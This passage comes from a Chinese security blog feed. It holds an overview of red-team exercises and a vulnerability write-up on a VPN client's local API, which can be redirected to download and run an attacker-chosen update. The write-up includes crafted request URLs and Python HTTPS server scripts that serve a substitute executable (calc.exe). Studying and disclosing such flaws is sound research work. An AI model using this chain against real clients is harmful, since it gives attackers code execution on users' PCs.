0\u4e4b\u4e3a\u7ea2\u961f\uff08Red Team\uff09\u548c\u84dd\u961f\uff08Blue Team\uff09\uff0c\u7ea2\u961f\uff08Red Team\uff09\u5373\u653b\u51fb\u65b9\uff0c\u7a77\u5c3d\u65b9\u6cd5\u653b\u51fb\u4ee5\u8fbe\u5230\u83b7\u53d6\u6f14\u4e60\u9776\u6807\u6743\u9650\u7684\u76ee\u7684\u3002<\/p>\n\n<h2 id=\"\u7ea2\u961f\u653b\u51fb\u6d41\u7a0b\">\u7ea2\u961f\u653b\u51fb\u6d41\u7a0b<\/h2>\n\n<p>\u7ea2\u961f\u7684\u653b\u51fb\u6d41\u7a0b\u5927\u81f4\u5206\u4e3a4\u4e2a\u6b65\u9aa4\uff0c\u5206\u522b\u662f\u5236\u5b9a\u6218\u672f\u3001\u5916\u7f51\u6253\u70b9\u3001\u5185\u7f51\u6a2a\u5411\u3001\u7ed3\u679c\u62a5\u544a\u3002<\/p>\n\n<p><strong>\u5236\u5b9a\u6218\u672f<\/strong>\uff1a\u6839\u636e\u6f14\u4e60\u89c4\u5219\u53ca\u76ee\u6807\u7ed3\u5408\u81ea\u8eab\u4f18\u70b9\u5236\u5b9a\u653b\u51fb\u6218\u672f\uff0c\u4ee5\u4fdd\u8bc1\u6f14\u4e60\u8fc7\u7a0b\u4e0d\u76f2\u76ee\u3001\u4e0d\u6df7\u4e71\uff0c\u6709\u6761\u4e0d\u7d0a\u7684\u5b8c\u6210\u6f14\u4e60\uff1b<\/p>\n\n<p><strong>\u5916\u7f51\u6253\u70b9<\/strong>\uff1a\u901a\u8fc7\u6f0f\u6d1e\u3001\u4f9b\u5e94\u94fe\u3001\u793e\u5de5\u3001\u8fd1\u6e90\u7b49\u624b\u6bb5\u5bf9\u76ee\u6807\u66b4\u9732\u9762\u8fdb\u884c\u653b\u51fb\uff0c\u4ee5\u6b64\u6253\u5f00\u8fdb\u5165\u76ee\u6807\u5185\u7f51\u7684\u5165\u53e3\uff1b<\/p>\n\n<p><strong>\u5185\u7f51\u6a2a\u5411<\/strong>\uff1a\u901a\u8fc7\u4fe1\u606f\u6536\u96c6\u3001\u5206\u6790\u3001\u5173\u8054\uff0c\u7ed3\u5408\u76f8\u5173\u6f0f\u6d1e\u53ca\u5bc6\u7801\u5bf9\u5185\u7f51\u53ef\u8fbe\u7f51\u6bb5\u673a\u5668\u8fdb\u884c\u6a2a\u5411\u653b\u51fb\uff0c\u4ee5\u6b64\u53d1\u73b0\u66f4\u591a\u8106\u5f31\u70b9\u6216\u63a5\u8fd1\u5185\u7f51\u7684\u6f14\u4e60\u9776\u6807\uff1b<\/p>\n\n<p><strong>\u7ed3\u679c\u62a5\u544a<\/strong>\uff1a\u5c06\u7ea2\u961f\u653b\u51fb\u8fc7\u7a0b\u3001\u6240\u6d89\u6280\u672f\u624b\u6bb5\u3001\u653b\u51fb\u75d5\u8ff9\u7b49\u4fe1\u606f\u8fdb\u884c\u6574\u7406\uff0c\u5f62\u6210\u6587\u6863\u63d0\u4ea4\u81f3\u6f14\u4e60\u5e73\u53f0\uff0c\u5e76\u4e14\u4fbf\u4e8e\u540e\u7eed\u590d\u76d8\u3002<\/p>\n\n<h2 id=\"\u7ea2\u961f\u6210\u5458\u7ed3\u6784\">\u7ea2\u961f\u6210\u5458\u7ed3\u6784<\/h2>\n\n<p>\u901a\u5e38\u5728\u653b\u9632\u6f14\u4e60\u4e2d\uff0c\u4e3b\u529e\u65b9\u90fd\u662f\u8981\u6c42\u73b0\u573a\u7ea2\u961f\u6210\u5458\u6709\u4e09\u4f4d\uff0c\u6309\u7167\u6211\u7684\u7406\u89e3\u8fd9\u4e09\u4f4d\u5e94\u8be5\u662f\uff1a\u961f\u957f\u3001\u6e17\u900f\u5e08\u3001\u6a2a\u5411\u5e08\u3002<\/p>\n\n<p><strong>\u961f\u957f<\/strong>\uff1a\u6280\u672f\u7efc\u5408\u80fd\u529b\u8f83\u5f3a\uff0c\u5177\u5907\u8f83\u597d\u7684\u56e2\u961f\u534f\u4f5c\u3001\u7ec4\u7ec7\u3001\u5e94\u53d8\u3001\u6c9f\u901a\u80fd\u529b\uff0c\u80fd\u6709\u6761\u7406\u7684\u5b89\u6392\u6f14\u4e60\u4efb\u52a1\uff0c\u5e76\u4e14\u5728\u6f14\u4e60\u7ed3\u679c\u4e0a\u62a5\u540e\u6709\u4e89\u8bae\u65f6\u4e0e\u88c1\u5224\u8fdb\u884c\u6c9f\u901a\uff1b<\/p>\n\n<p><strong>\u6e17\u900f\u5e08<\/strong>\uff1a\u524d\u6e17\u900f\u80fd\u529b\u8f83\u5f3a\uff0c\u4e5f\u5c31\u662f\u4fa7\u91cd\u4e8e\u4fe1\u606f\u6536\u96c6\u3001Web\u6f0f\u6d1e\u9ed1\u76d2\u6316\u6398\u53ca\u4ee3\u7801\u5ba1\u8ba1\u80fd\u529b\uff0c\u5728\u62ff\u5230\u76ee\u6807\u4fe1\u606f\u540e\u80fd\u591f\u5feb\u901f\u7684\u627e\u5230\u8106\u5f31\u8d44\u4ea7\uff0c\u6495\u5f00\u66b4\u9732\u9762\u5165\u53e3\u4ee5\u4f9b\u540e\u6e17\u900f\uff1b<\/p>\n\n<p><strong>\u6a2a\u5411\u5e08<\/strong>\uff1a\u540e\u6e17\u900f\u80fd\u529b\u8f83\u5f3a\uff0c\u4e5f\u5c31\u662f\u4fa7\u91cd\u4e8e\u6728\u9a6c\u514d\u6740\u3001\u6743\u9650\u7ef4\u6301\u53ca\u6f0f\u6d1e\u5229\u7528\u80fd\u529b\uff0c\u5f53\u5177\u6709\u66b4\u9732\u9762\u5165\u53e3\u65f6\u80fd\u591f\u901a\u8fc7\u5b83\u5bf9\u5185\u7f51\u8fdb\u884c\u6301\u7eed\u6027\u7684\u8106\u5f31\u70b9\u53d1\u73b0\u3002<\/p>\n\n<p>\u5f53\u7136\uff0c\u76ee\u6807\u5f80\u5f80\u662f\u7f8e\u597d\u7684\uff0c\u73b0\u5b9e\u5374\u662f\u6b8b\u9177\u7684\uff0c\u5728\u6f14\u4e60\u4e2d\u771f\u6b63\u7684\u7ea2\u961f\u6210\u5458\u90fd\u5e94\u8be5\u5177\u5907\u8fd9\u4e09\u79cd\u80fd\u529b\uff0c\u624d\u80fd\u5e94\u5bf9\u8fd9\u4e07\u53d8\u7684\u5c40\u9762\u3002<\/p>\n\n<h2 id=\"\u7ea2\u961f\u57fa\u7840\u8bbe\u65bd\">\u7ea2\u961f\u57fa\u7840\u8bbe\u65bd<\/h2>\n\n<p>\u7ea2\u961f\u7684\u57fa\u7840\u8bbe\u65bd\uff0c\u6211\u5c06\u5176\u5206\u4e3a\u4e09\u5927\u5757\uff1a\u4eba\u5458\u3001\u6b66\u5668\u5e93\u3001\u6f0f\u6d1e\u5e93\u3002<\/p>\n\n<p><strong>\u4eba\u5458<\/strong>\uff1a\u4e07\u4e8b\u7686\u4ee5\u4eba\u4e3a\u672c\uff0c\u7ea2\u961f\u7684\u57fa\u7840\u8bbe\u65bd\u4e5f\u79bb\u4e0d\u5f00\u4eba\uff0c\u4f18\u79c0\u7684\u4f19\u4f34\u53ef\u4ee5\u8ba9\u4f60\u5728\u6f14\u4e60\u8fc7\u7a0b\u4e2d\u66f4\u8212\u5fc3\uff0c\u800c\u4eba\u5458\u901a\u5e38\u662f\u6700\u96be\u89e3\u51b3\u7684\uff0c\u5927\u90e8\u5206\u90fd\u662f\u901a\u8fc7\u5916\u90e8\u62db\u8058\u7684\u5f62\u5f0f\u5f15\u5165\u6280\u672f\u4eba\u624d\uff0c\u6216\u57f9\u517b\u521d\u5165\u804c\u573a\u7684\u5b66\u751f\uff1b<\/p>\n\n<p><strong>\u6b66\u5668\u5e93<\/strong>\uff1a\u6b66\u5668\u5e93\u5728\u6211\u7684\u7406\u89e3\u4e2d\uff0c\u5c31\u662f\u4e00\u5207\u7686\u81ea\u52a8\u5316\u6216\u81ea\u4e3b\u5316\uff0c\u4fe1\u606f\u6536\u96c6\u3001\u90ae\u4ef6\u9493\u9c7c\u3001\u6728\u9a6c\u514d\u6740\u7684\u81ea\u52a8\u5316\uff0c\u4ee5\u53caC2\u3001Webshell\u7ba1\u7406\u5de5\u5177\u7684\u81ea\u4e3b\u5316\uff0c\u8fd9\u90fd\u662f\u6700\u57fa\u7840\u7684\u4e00\u4e9b\uff1b<\/p>\n\n<p><strong>\u6f0f\u6d1e\u5e93<\/strong>\uff1a\u6f0f\u6d1e\u5e93\u53730day\u30011day\u8fd9\u4e9b\u6f0f\u6d1e\u7684\u5229\u7528\uff0c\u4f8b\u5982SQL\u6ce8\u5165\u4e0d\u5e94\u53ea\u662f\u6ce8\u5165\uff0c\u800c\u662f\u8981\u7ed3\u5408SQL\u6ce8\u5165\u76f4\u63a5\u83b7\u53d6\u76ee\u6807\u7ad9\u70b9\u6743\u9650\uff0c\u65e0\u8bba\u4f60\u662f\u7ed3\u5408SQL\u6ce8\u5165\u83b7\u53d6\u5bc6\u7801\u518d\u8fdb\u5165\u540e\u53f0\u8fdb\u884c\u6587\u4ef6\u4e0a\u4f20\u83b7\u53d6\u6743\u9650\uff0c\u8fd8\u662fSQL\u6ce8\u5165\u76f4\u63a5\u5806\u53e0\u6267\u884c\u547d\u4ee4\u83b7\u53d6\u6743\u9650\uff0c\u7b80\u800c\u8a00\u4e4b\uff0c\u6f0f\u6d1e\u53ea\u662f\u5f00\u59cb\uff0c\u901a\u8fc7\u6f0f\u6d1e\u83b7\u53d6\u6743\u9650\u624d\u662f\u6f0f\u6d1e\u5e93\u6240\u9700\u8981\u7684\uff0c\u8fd9\u4e5f\u662f\u5927\u5bb6\u901a\u5e38\u6240\u8bf4\u7684\u6f0f\u6d1e\u6b66\u5668\u5316\u3002<\/p>\n\n<h2 id=\"\u7ea2\u961f\u7ed3\u679c\u590d\u76d8\">\u7ea2\u961f\u7ed3\u679c\u590d\u76d8<\/h2>\n\n<p>\u5728\u8fdb\u884c\u4e00\u573a\u6f14\u4e60\u4e4b\u540e\uff0c\u7ea2\u961f\u5e94\u7ed3\u5408\u6f14\u4e60\u7ed3\u679c\u8fdb\u884c\u590d\u76d8\uff0c\u4e3b\u8981\u56f4\u7ed5\u8fd9\u51e0\u4e2a\u65b9\u9762\uff1a\u6f14\u4e60\u7ed3\u679c\u7684\u603b\u7ed3\u3001\u7ea2\u961f\u6210\u5458\u7684\u5206\u5de5\u3001\u6f14\u4e60\u8fc7\u7a0b\u7684\u95ee\u9898\u3002<\/p>\n\n<p><strong>\u6f14\u4e60\u7ed3\u679c\u7684\u603b\u7ed3<\/strong>\uff1a\u5bf9\u6f14\u4e60\u4e0a\u62a5\u7684\u7ed3\u679c\u8fdb\u884c\u603b\u7ed3\uff0c\u68b3\u7406\u51fa\u653b\u51fb\u6280\u672f\u53ca\u76f8\u5173\u8def\u5f84\uff1b<\/p>\n\n<p><strong>\u7ea2\u961f\u6210\u5458\u7684\u5206\u5de5<\/strong>\uff1a\u660e\u786e\u6bcf\u4e2a\u6210\u5458\u7684\u5206\u5de5\uff0c\u5e76\u4e14\u7ed3\u5408\u6210\u679c\u6765\u770b\u5206\u5de5\u7684\u843d\u5b9e\u7a0b\u5ea6\uff1b<\/p>\n\n<p><strong>\u6f14\u4e60\u8fc7\u7a0b\u7684\u95ee\u9898<\/strong>\uff1a\u603b\u7ed3\u6f14\u4e60\u8fc7\u7a0b\u4e2d\u53d1\u73b0\u7684\u95ee\u9898\uff0c\u627e\u51fa\u95ee\u9898\u4ea7\u751f\u7684\u539f\u56e0\uff0c\u6709\u89e3\u51b3\u65b9\u6848\u7684\u63d0\u51fa\u89e3\u51b3\u65b9\u6848\uff0c\u6ca1\u6709\u7684\u5c31\u590d\u76d8\u4f1a\u4e0a\u8fdb\u884c\u4ea4\u6d41\u3002<\/p>\n","pubDate":"2022-08-18T00:00:00+08:00","link":"https:\/\/gh0st.cn\/archives\/2022-08-18\/1","guid":"https:\/\/gh0st.cn\/archives\/2022-08-18\/1"},{"title":"\u67d0VPN\u5ba2\u6237\u7aef\u8fdc\u7a0b\u4e0b\u8f7d\u6587\u4ef6\u6267\u884c\u6a21\u62df\u9006\u5411\u5206\u6790","description":"<h1 id=\"\u67d0vpn\u5ba2\u6237\u7aef\u8fdc\u7a0b\u4e0b\u8f7d\u6587\u4ef6\u6267\u884c\u6a21\u62df\u9006\u5411\u5206\u6790\">\u67d0VPN\u5ba2\u6237\u7aef\u8fdc\u7a0b\u4e0b\u8f7d\u6587\u4ef6\u6267\u884c\u6a21\u62df\u9006\u5411\u5206\u6790<\/h1>\n\n<h2 id=\"\u524d\u8a00\">\u524d\u8a00<\/h2>\n\n<p>2021\u5e743\u6708\uff0c\u6211\u901a\u8fc7\u9ed1\u76d2\u7684\u65b9\u5f0f\u6316\u6398\u51fa\u67d0VPN\u5ba2\u6237\u7aef\u7684\u8fdc\u7a0b\u4e0b\u8f7d\u6587\u4ef6\u6267\u884c\u6f0f\u6d1e\uff0c\u5176\u539f\u7406\u5c31\u662f\u901a\u8fc7VPN\u5ba2\u6237\u7aef\u672c\u8eab\u6240\u5f00\u542f\u7684Web\u670d\u52a1API\u63a5\u53e3\u4fee\u6539\u5ba2\u6237\u7aef\u66f4\u65b0\u8bf7\u6c42\u5730\u5740\uff0c\u7ee7\u800c\u901a\u8fc7API\u63a7\u5236\u5ba2\u6237\u7aef\u7a0b\u5e8f\u8fdb\u884c\u81ea\u52a8\u8bf7\u6c42\u66f4\u65b0\uff0c\u5bfc\u81f4\u5ba2\u6237\u7aef\u4e0b\u8f7d\u6211\u81ea\u5b9a\u4e49\u7684\u66f4\u65b0\u7a0b\u5e8f\uff0c\u5e76\u8fd0\u884c\u3002<\/p>\n\n<p>\u9ed1\u76d2\u4fa7\u7684\u6f0f\u6d1e\u6316\u6398\u5f80\u5f80\u5e26\u6709\u8bb8\u591a\u7684\u4e0d\u786e\u5b9a\u6027\uff0c\u6240\u4ee5\u6211\u5c1d\u8bd5\u4ece\u767d\u76d2\uff08\u9006\u5411\uff09\u4fa7\u7684\u89d2\u5ea6\u53bb\u5165\u624b\u5206\u6790\u8be5\u6f0f\u6d1e\u7684\u5f62\u6210\uff0c\u5e76\u4ee5\u6b64\u4e3a\u57fa\u7840\u5f62\u6210\u5bf9\u8fd9\u79cd\u6f0f\u6d1e\u7684\u6a21\u578b\u8bb0\u5fc6\uff0c\u5e76\u4e14\u5728\u540e\u7eed\u7684\u7814\u7a76\u4e2d\u4e5f\u7528\u7c7b\u4f3c\u601d\u8def\u5bf9\u5176\u4ed6VPN\u5ba2\u6237\u7aef\u8fdb\u884c\u6f0f\u6d1e\u6316\u6398\uff0c\u6210\u679c\u8fd8\u7b97\u4e0d\u9519\u3002<\/p>\n\n<p><strong>\u6ce8<\/strong>\uff1a\u6587\u4e2d\u53ef\u80fd\u4f1a\u5b58\u5728\u7b14\u8bef\u6216\u63cf\u8ff0\u4e0d\u51c6\u786e\u7b49\u9519\u8bef\uff0c\u8fd8\u671b\u5404\u4f4d\u4e0d\u541d\u8d50\u6559\uff0c\u591a\u591a\u65a7\u6b63\u3002<\/p>\n\n<h2 id=\"\u9ed1\u76d2\u4fa7\">\u9ed1\u76d2\u4fa7<\/h2>\n\n<p>\u5728\u6b63\u5f0f\u9006\u5411\u4e4b\u524d\uff0c\u5efa\u8bae\u8bfb\u8005\u5148\u9605\u8bfb\u4e00\u4e0b\u9ed1\u76d2\u4fa7\u7684\u6f0f\u6d1e\u6316\u6398\u8fc7\u7a0b\uff0c\u5982\u82e5\u8bfb\u8005\u5df2\u7ecf\u719f\u77e5\u8be5\u6f0f\u6d1e\uff0c\u53ef\u8d8a\u8fc7\u8be5\u7ae0\u8282\u76f4\u63a5\u9605\u8bfb\u300c\u9006\u5411\u4fa7\u300d\u7ae0\u8282\u5185\u5bb9\u3002<\/p>\n\n<h3 id=\"\u6f0f\u6d1e\u56de\u987e\">\u6f0f\u6d1e\u56de\u987e<\/h3>\n\n<p>\u968f\u4fbf\u627e\u4e00\u4e2a\u5730\u65b9\u4e0b\u8f7dVPN\u5ba2\u6237\u7aef\u4e0b\u8f7d\u5b89\u88c5\u3002<\/p>\n\n<p>\u5b89\u88c5\u5b8c\u4e4b\u540e\u8bbf\u95eeVPN\u7684\u9875\u9762\uff0c\u53d1\u73b0VPN\u4f1a\u81ea\u52a8\u4e0b\u8f7d\u7ec4\u4ef6\u66f4\u65b0\uff1a<\/p>\n\n<p><img src=\"\/images\/2021-05-05\/Pasted%20image%2020211010234406.png\" alt=\"\" \/><\/p>\n\n<p>\u8fd9\u4e4b\u95f4\u4e5f\u8bb8\u662f\u56e0\u4e3a\u5b58\u5728\u7740\u67d0\u4e9b\u8054\u7cfb\uff0c\u53ef\u4ee5\u6df1\u5165\u7684\u770b\u4e00\u4e0b\u3002<\/p>\n\n<h4 id=\"\u5bf9\u672c\u5730\u7684\u8bbf\u95ee\">\u5bf9\u672c\u5730\u7684\u8bbf\u95ee<\/h4>\n\n<p>\u91cd\u73b0\u4e0a\u8ff0\u95ee\u9898\uff0c\u901a\u8fc7<code>F12<\/code>\u53d1\u73b0\u5f53\u8bbf\u95eeVPN\u7684\u767b\u9646\u9875\u9762\u4f1a\u5bf9\u672c\u5730<code>127.0.0.1<\/code>\u8fdb\u884cHTTP(s)\u8bf7\u6c42\uff1a<\/p>\n\n<p><img src=\"\/images\/2021-05-05\/Pasted%20image%2020211010234412.png\" alt=\"\" \/><\/p>\n\n<p>\u8fd9\u4e9b\u8bf7\u6c42\u5747\u4e3aGET\u8bf7\u6c42\u5e76\u9644\u5e26\u7740\u4e00\u4e9b\u53c2\u6570\uff0c\u6211\u628a\u5b83\u4e00\u4e00\u5217\u4e0b\u6765\uff1a<\/p>\n\n<p><img src=\"\/images\/2021-05-05\/Pasted%20image%2020211010234418.png\" alt=\"\" \/><\/p>\n\n<p>\u672c\u5730\u6765\u770b\u4e00\u4e0b\u8fd9\u4e2a<code>54530<\/code>\u7aef\u53e3\u5bf9\u5e94\u7684\u8fdb\u7a0b\u662f\u4ec0\u4e48\uff1a<\/p>\n\n<p><img src=\"\/images\/2021-05-05\/Pasted%20image%2020211010234423.png\" alt=\"\" \/><\/p>\n\n<p>\u53d1\u73b0\u8fd9\u4e2a\u7aef\u53e3\u662fECAgent.exe\u5f00\u542f\u7684\uff0c\u5bfb\u627e\u5230\u5bf9\u5e94\u8fdb\u7a0b\u6587\u4ef6\u6240\u5728\u4f4d\u7f6e\uff1a<\/p>\n\n<p><img src=\"\/images\/2021-05-05\/Pasted%20image%2020211010234430.png\" alt=\"\" \/><\/p>\n\n<p>\u786e\u8ba4\u8fd9\u662fXXX SSLVPN\u7684\u7a0b\u5e8f\uff0c\u90a3\u4e48\u5c31\u53ef\u4ee5\u5c06\u4e24\u8005\u8054\u7cfb\u5230\u4e00\u8d77\uff0c\u8bbf\u95eeVPN\u767b\u5f55\u9996\u9875\u4f1a\u89e6\u53d1\u5bf9<code>127.0.0.1<\/code>\u7684\u8bbf\u95ee\u4ece\u800c\u5f15\u8d77VPN\u8fdb\u884c\u7ec4\u4ef6\u66f4\u65b0\u3002<\/p>\n\n<h4 id=\"\u66f4\u65b0\u5730\u5740\u53ef\u63a7\">\u66f4\u65b0\u5730\u5740\u53ef\u63a7<\/h4>\n\n<p>\u901a\u8fc7\u4ee5\u4e0a\u7684\u5206\u6790\u53ef\u4ee5\u731c\u6d4b\u6574\u4e2a\u5927\u81f4\u6d41\u7a0b\uff0c\u4f46\u6211\u8bbe\u60f3\u4e00\u4e0b\u5982\u679c\u6211\u53ef\u4ee5\u63a7\u5236\u672c\u5730\u7684\u66f4\u65b0\u6307\u5411\u6211\u7684\u670d\u52a1\u5668\uff0c\u7136\u540e\u5c06\u66f4\u65b0\u7684\u7ec4\u4ef6\u5185\u5bb9\u66ff\u6362\u6210\u6076\u610f\u7a0b\u5e8f\uff0c\u5f53\u7a0b\u5e8f\u542f\u52a8\u7684\u65f6\u5019\u5c31\u542f\u52a8\u4e86\u6076\u610f\u7a0b\u5e8f\uff0c\u8fd9\u6837\u6211\u53ef\u4ee5\u62ff\u5230\u5b89\u88c5VPN\u5ba2\u6237\u7aef\u7684\u4f7f\u7528\u8005PC\u6743\u9650\u3002<\/p>\n\n<p>\u518d\u56de\u5230\u4e4b\u524d\u7684\u672c\u5730\u94fe\u63a5\u5217\u8868\uff0c\u6839\u636e\u5bf9\u82f1\u6587\u7684\u7406\u89e3\uff0c\u53c2\u6570op\u7684\u503c\u5e94\u8be5\u4e3a\u5176\u5177\u4f53\u5bf9\u5e94\u8981\u6267\u884c\u7684\u52a8\u4f5c\uff1a<\/p>\n\n<pre><code>InitECAgent -&gt; \u521d\u59cb\u5316\nGetEncryptKey -&gt; \u83b7\u53d6\u52a0\u5bc6\u5bc6\u94a5\nDoConfigure -&gt; \u914d\u7f6e\nCheckReLogin -&gt; \u68c0\u67e5\u91cd\u65b0\u767b\u5f55\nCheckProxySetting -&gt; \u68c0\u67e5\u4ee3\u7406\u8bbe\u7f6e\nUpdateControls -&gt; \u66f4\u65b0\u63a7\u5236\nDoQueryService -&gt; \u67e5\u8be2\u670d\u52a1\n<\/code><\/pre>\n\n<p>\u7b2c\u4e00\u4e2a\u521d\u59cb\u5316\u7684\u8bf7\u6c42\u5b58\u5728\u53ef\u63a7\u53c2\u6570arg1\uff1a<\/p>\n\n<pre><code>https:\/\/127.0.0.1:54530\/ECAgent\/?op=InitECAgent&amp;arg1=XXX%20443&amp;callback=EA_cb10000\n<\/code><\/pre>\n\n<p>\u53c2\u6570<code>arg1=XXX%20443<\/code>\uff0c\u5bf9\u5e94\u503c\u4e5f\u5c31\u662fHOST+\u7a7a\u683c+\u7aef\u53e3\u7684\u683c\u5f0f\uff0c\u770b\u5230\u8fd9\u91cc\u57fa\u672c\u4e0a\u5c31\u4f1a\u6709\u4e00\u4e2a\u601d\u8def\uff0c\u5ba2\u6237\u7aef\u66f4\u65b0\u63a7\u4ef6\u662f\u4e0d\u662f\u6839\u636e\u8fd9\u4e2a\u6307\u5b9a\u503c\u5411\u5176\u53d1\u9001\u8bf7\u6c42\u66f4\u65b0\u7684\u5462\uff1f\u6211\u53ef\u4ee5\u53ea\u66ff\u6362\u7b2c\u4e00\u4e2a\u521d\u59cb\u5316\u8bf7\u6c42\u7684arg1\u53c2\u6570\u4e3a<code>172.20.10.2 8000<\/code>\uff0c\u7136\u540e\u672c\u5730\u642d\u5efa\u4e00\u4e2aHTTP\u670d\u52a1\uff1a<\/p>\n\n<pre><code class=\"language-python\">python -m SimpleHTTPServer\n<\/code><\/pre>\n\n<p>\u5176\u4ed6\u7684\u8bf7\u6c42\u539f\u5c01\u4e0d\u52a8\uff0c\u4f9d\u6b21\u8bf7\u6c42\u4e00\u904d\u90a3\u4e00\u4efdURL\u5217\u8868\uff08\u56fe\u4e3a\u8bf7\u6c42\u793a\u4f8b\uff09\uff1a<\/p>\n\n<p><img src=\"\/images\/2021-05-05\/Pasted%20image%2020211010234440.png\" alt=\"\" \/><\/p>\n\n<p>\u670d\u52a1\u7aef\u6210\u529f\u6536\u5230\u8bf7\u6c42\uff0c\u4f46\u662f\u5374\u51fa\u73b0\u4e86\u9519\u8bef\u7684\u63d0\u793a\uff1a<\/p>\n\n<p><img src=\"\/images\/2021-05-05\/Pasted%20image%2020211010234445.png\" alt=\"\" \/><\/p>\n\n<p>\u9996\u5148\u6211\u5df2\u7ecf\u9a8c\u8bc1\u4e86\u81ea\u5df1\u7684\u731c\u60f3\uff0c\u66f4\u65b0\u5730\u5740\u662f\u81ea\u5df1\u53ef\u63a7\u7684\uff0c\u5ba2\u6237\u7aef\u786e\u5b9e\u4f1a\u5411\u6211\u6307\u5b9a\u7684\u670d\u52a1\u7aef\u53d1\u9001\u8bf7\u6c42\uff0c\u4f46\u7531\u4e8e\u51fa\u73b0\u4e86\u9519\u8bef\uff0c\u6211\u4e0d\u77e5\u9053\u5ba2\u6237\u7aef\u8bbf\u95ee\u4e86\u54ea\u4e2a\u6587\u4ef6\uff0c\u4e5f\u4e0d\u77e5\u9053\u8bbf\u95ee\u6587\u4ef6\u4e4b\u540e\u505a\u4e86\u4ec0\u4e48\u52a8\u4f5c\u3002<\/p>\n\n<h4 id=\"\u670d\u52a1\u642d\u5efa\">\u670d\u52a1\u642d\u5efa<\/h4>\n\n<p>\u73b0\u5728\u8981\u505a\u7684\u5c31\u662f\u642d\u5efa\u4e00\u4e2a\u5ba2\u6237\u7aef\u53ef\u4ee5\u6b63\u5e38\u8bbf\u95ee\u7684\u8bf7\u6c42\uff0c\u901a\u8fc7\u8fd9\u4e2a\u9519\u8bef\u5927\u81f4\u53ef\u4ee5\u77e5\u9053\uff0c\u6211\u642d\u5efa\u7684\u670d\u52a1\u7aef\u534f\u8bae\u548c\u5ba2\u6237\u7aef\u8bf7\u6c42\u4f7f\u7528\u7684\u534f\u8bae\u4e0d\u4e00\u81f4\uff0c\u672c\u673a\u6293\u4e2a\u5305\u53d1\u73b0\u5ba2\u6237\u7aef\u8bf7\u6c42\u7684\u662f HTTPS \u534f\u8bae\uff0c\u8fd9\u5c31\u9700\u8981\u642d\u5efa\u4e00\u4e2a HTTPS \u670d\u52a1\u4e86\u3002<\/p>\n\n<p>\u5982\u4e0b\u811a\u672c\u57fa\u4e8ePython\u5e93\u5efa\u7acb\u4e00\u4e2a HTTPS \u670d\u52a1\uff1a<\/p>\n\n<pre><code class=\"language-python\"># openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes\n\nimport BaseHTTPServer, SimpleHTTPServer\nimport ssl\n\nhttpd = BaseHTTPServer.HTTPServer(('0.0.0.0', 8000), SimpleHTTPServer.SimpleHTTPRequestHandler)\nhttpd.socket = ssl.wrap_socket (httpd.socket, certfile='.\/server.pem', server_side=True)\nhttpd.serve_forever()\n<\/code><\/pre>\n\n<p>\u642d\u5efa\u8d77\u4e00\u4e2a HTTPS \u73af\u5883\u540e\u518d\u6b21\u590d\u73b0\u5982\u4e0a\u8bf7\u6c42\uff0c\u670d\u52a1\u7aef\u6536\u5230\u65e5\u5fd7\uff1a<\/p>\n\n<p><img src=\"\/images\/2021-05-05\/Pasted%20image%2020211010234455.png\" alt=\"\" \/><\/p>\n\n<p>\u53ef\u4ee5\u770b\u89c1\u5ba2\u6237\u7aef\u4f1a\u8bbf\u95ee\u4e24\u4e2a\u6587\u4ef6\uff1a<\/p>\n\n<pre><code>\/com\/WindowsModule.xml\n\/com\/win\/XXXUD.exe\n<\/code><\/pre>\n\n<p>\u5148\u4e0d\u7ba1xml\u6587\u4ef6\u662f\u600e\u4e48\u6837\u7684\uff0c\u53ef\u6267\u884c\u6587\u4ef6(exe)\u662f\u9700\u8981\u91cd\u89c6\u7684\uff0c\u4f46\u662f\u8fd9\u91cc\u901a\u8fc7\u63d0\u793a\u53ef\u4ee5\u770b\u51fa\u5ba2\u6237\u7aef\u53d1\u51fa\u7684\u8bf7\u6c42\u662fPOST\u8bf7\u6c42\uff0c\u4f46\u6211\u6240\u5199\u7684Python\u811a\u672c\u5efa\u7acb\u7684HTTPS\u670d\u52a1\u5e76\u4e0d\u652f\u6301POST\u65b9\u6cd5\uff0c\u6211\u9700\u8981\u91cd\u5199\u4e00\u4e0bHandler\uff1a<\/p>\n\n<pre><code class=\"language-python\">import BaseHTTPServer\nimport SimpleHTTPServer\nimport cgi\nimport ssl\n\nclass ServerHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):\n    def do_POST(self):\n        form = cgi.FieldStorage()\n        SimpleHTTPServer.SimpleHTTPRequestHandler.do_GET(self)\n\nHandler = ServerHandler\n\nhttpd = BaseHTTPServer.HTTPServer(('0.0.0.0', 8000), Handler)\nhttpd.socket = ssl.wrap_socket (httpd.socket, certfile='.\/server.pem', server_side=True)\nhttpd.serve_forever()\n<\/code><\/pre>\n\n<p>\u6700\u7ec8\u5982\u4e0a\u811a\u672c\u652f\u6301<code>POST<\/code>\u65b9\u6cd5\uff0c\u5f53\u65f6\u7528<code>POST<\/code>\u65b9\u6cd5\u8bf7\u6c42\u65f6\u5373\u8fd4\u56de\u6587\u4ef6\u5185\u5bb9\u3002<\/p>\n\n<p>\u6700\u540e\uff0c\u62d6\u4e00\u4e2a<code>calc.exe<\/code>\uff08\u8ba1\u7b97\u5668\uff09\u5230HTTPS\u7f51\u7ad9\u6839\u76ee\u5f55\u4e0b\u7684<code>\/com\/win\/XXXUD.exe<\/code>\u3002<\/p>\n\n<p>\u4f9d\u6b21\u8bf7\u6c42\uff08<strong>\u7ecf\u8fc7\u591a\u6b21\u590d\u73b0\u53d1\u73b0\uff0c\u8fd9\u4e09\u4e2a\u8bf7\u6c42\u624d\u662f\u91cd\u70b9\u7684\uff0c\u5176\u4ed6\u7684\u53ef\u4ee5\u5ffd\u7565<\/strong>\uff09\uff1a<\/p>\n\n<pre><code class=\"language-http\">https:\/\/127.0.0.1:54530\/ECAgent\/?op=InitECAgent&amp;arg1=172.20.10.2 